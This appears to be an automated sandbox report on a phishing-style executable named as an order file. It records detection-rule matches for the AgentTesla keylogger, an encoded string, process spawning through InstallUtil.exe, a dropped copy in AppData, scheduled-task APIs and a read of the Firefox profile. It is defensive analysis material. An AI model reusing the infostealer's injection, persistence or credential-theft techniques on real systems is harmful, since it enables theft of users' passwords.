Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.00000000033BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePrlwiygeyof.exe8 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003252000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000000.1332685429.0000000000F72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePrlwiygeyof.exe8 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1410426662.0000000006F50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1408089923.0000000005BA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePrlwiygeyof.exe8 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe	Binary or memory string: OriginalFilenamePrlwiygeyof.exe8 vs GEFA-Order 232343-68983689.exe

Source: GEFA-Order 232343-68983689.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 2.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 2.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: GEFA-Order 232343-68983689.exe, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: GEFA-Order 232343-68983689.exe, Fjvoeakus.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Fqhnalw.exe.0.dr, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Fqhnalw.exe.0.dr, Fjvoeakus.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, JxjTJsLcVMlWTHfxdv2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, JxjTJsLcVMlWTHfxdv2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, JxjTJsLcVMlWTHfxdv2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, JxjTJsLcVMlWTHfxdv2.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: GEFA-Order 232343-68983689.exe, -.cs	Base64 encoded string: 'uvSesxFpx9+IoRhhivmEqBoqqP6eohlmhfTWgBFwrOOZtQ1Fmv6IqhZokLaKogBbr/iBqzplhOjWqARboOOItgFlheSZvk9jjPmyixFqjvmF/DNhndmUtxFCm+KAjxVqjeGI/BNhndKjphlh0sSDoxF8puvWlRFljd6ZtR1qjrasoxA/juiZmCRrmuSZrhtq0uqIsytHnP+fohpwreKAph1q0t6IszBlnezW9EQz0bjWhgd3jOCPqw1XjP+bogY/uuSAtxhhqP6eohlmhfSovwRohv+ItU9miO+IqwJp0v6AqB9hneiesw=='
Source: Fqhnalw.exe.0.dr, -.cs	Base64 encoded string: 'uvSesxFpx9+IoRhhivmEqBoqqP6eohlmhfTWgBFwrOOZtQ1Fmv6IqhZokLaKogBbr/iBqzplhOjWqARboOOItgFlheSZvk9jjPmyixFqjvmF/DNhndmUtxFCm+KAjxVqjeGI/BNhndKjphlh0sSDoxF8puvWlRFljd6ZtR1qjrasoxA/juiZmCRrmuSZrhtq0uqIsytHnP+fohpwreKAph1q0t6IszBlnezW9EQz0bjWhgd3jOCPqw1XjP+bogY/uuSAtxhhqP6eohlmhfSovwRohv+ItU9miO+IqwJp0v6AqB9hneiesw=='

Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/2@2/2

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File created: C:\Users\user\AppData\Roaming\Fqhnalw.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: GEFA-Order 232343-68983689.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: GEFA-Order 232343-68983689.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GEFA-Order 232343-68983689.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File read: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe "C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe"
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Fqhnalw.exe "C:\Users\user\AppData\Roaming\Fqhnalw.exe"
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Fqhnalw.exe "C:\Users\user\AppData\Roaming\Fqhnalw.exe"
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rtutils.dll	Jump to behavior
